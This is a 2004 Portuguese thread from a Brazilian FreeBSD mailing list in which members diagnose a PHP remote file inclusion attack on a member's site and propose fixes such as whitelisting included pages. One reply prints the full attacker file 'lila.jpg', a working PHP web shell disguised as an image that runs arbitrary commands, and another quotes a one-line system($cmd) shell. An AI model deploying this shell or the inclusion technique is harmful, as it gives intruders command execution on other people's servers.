RES: [FUGSPBR] problema de seguranca!!
Leonardo Larsen Rocha
leonardo em nunix.com.br
Qua Jul 14 11:02:24 BRT 2004
O conteúdo de lila.jpg
<font color="#808080"><br></font><font color="#008000"><center><b><font
face="verdana" size="2">CMD</font></b> <font face="verdana" size="2"> -
System CoManD<br><br></font></center></font><font face="Verdana"
size="1"><font color="#008000"><br>
<b>#</b> CMD PHP : <h1>PHP SHELL</h1><br>
<b>#</b></b></font><br>
<br>
<br>
<hr color="#000000" width=80% height=115px>
<br>
<div align="center">
<table border="1" cellpadding="0" cellspacing="0" width="633" height="17"
bordercolorlight="#000080" bordercolordark="#000080">
<tr>
<td width="633" height="17">
<pre><font color="gray" font face="Tahoma" size="2">
<?
// CMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
if (isset($chdir)) @chdir($chdir);
ob_start();
passthru("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
$output = ob_get_contents();
ob_end_clean();
if (!empty($output)) echo str_replace(">", ">", str_replace("<",
"<", $output));
?>
</font></pre>
</tr>
</table>
</div>
<br>
<hr color="#000000" width=80% height=115px>
<p align="left">
<br>
<b> <font face="Verdana" size="1" color="#008000">PHP SHELL</font></b> <font
face="Verdana" size="1" color="#008000"><br><b>
#<a href="mailto:PHPSHELL em bol.com.br">Contact
Us</font></a></b><br><font face="Verdana" size="1"
color="#008000"><b>#
:D </b>
</font>
-----Mensagem original-----
De: fugspbr-fugspbr.org-bounces em fugspbr.org
[mailto:fugspbr-fugspbr.org-bounces em fugspbr.org]Em nome de Marcos
Machado
Enviada em: quarta-feira, 14 de julho de 2004 10:31
Para: fugspbr em fugspbr.org
Assunto: Re: [FUGSPBR] problema de seguranca!!
Martin, acho que nesse caso só remover o register_globals não
resolveria. O que tá sendo feito é o include de um arquivo remoto,
localizado no endereço:
http://teranova.fr/2003/lila.jpg
A variável path é legítima dentro do index.php, só que o include remoto
traz para dentro do index.php o arquilo lila.jpg que, a despeito da
extensão, deve ser um outro script php com um conteúdo semelhante a:
<? system($cmd); ?>
Se você remover o register_globals e o invasor adicionar um
$cmd=$_REQUEST['cmd'] no início do seu (dele) lila.jpg, o system
continuará funcionando.
O que você deve fazer é impedir o include remoto. O mais seguro, do meu
ponto de vista, é relacionar todas as páginas do site que podem ser
incluídas pelo index.php e usar um ninho de IFs para associar um
parâmetro da variável "$path" a um determinado arquivo. Exemplo:
if($path=="2") include('/path/www/cadastro.php');
Espero ter ajudado.
--
[]s, Marcos Machado
Analista de Segurança
InfoSecurity (www.istf.com.br)
Mail: mmachado em istf.com.br
Fone: (21) 8111-2011
ICQ : 188-288
Fernando Costa de Almeida wrote:
> Essa eh uma falha classica de programacao em php, e ate foi explicada
> em uma edicao da Revista Hacker (nao me lembro qual edicao)..
>
> Retirando register_globals resolveria o seu problema, mas de qq modo eh
> um erro de programacao.
>
> _______________________________________
> ALMEIDA, Fernando Costa de
> Computeasy Informática
> www.computeasy.com.br
> BSD USER BSD050945
> ICQ 72293951
_______________________________________________________________
Para enviar um novo email para a lista: fugspbr em fugspbr.org
Sair da Lista: http://lists.fugspbr.org/listinfo.cgi
Historico: http://www4.fugspbr.org/lista/html/FUG-BR/
_______________________________________________________________
Para enviar um novo email para a lista: fugspbr em fugspbr.org
Sair da Lista: http://lists.fugspbr.org/listinfo.cgi
Historico: http://www4.fugspbr.org/lista/html/FUG-BR/
Mais detalhes sobre a lista de discussão freebsd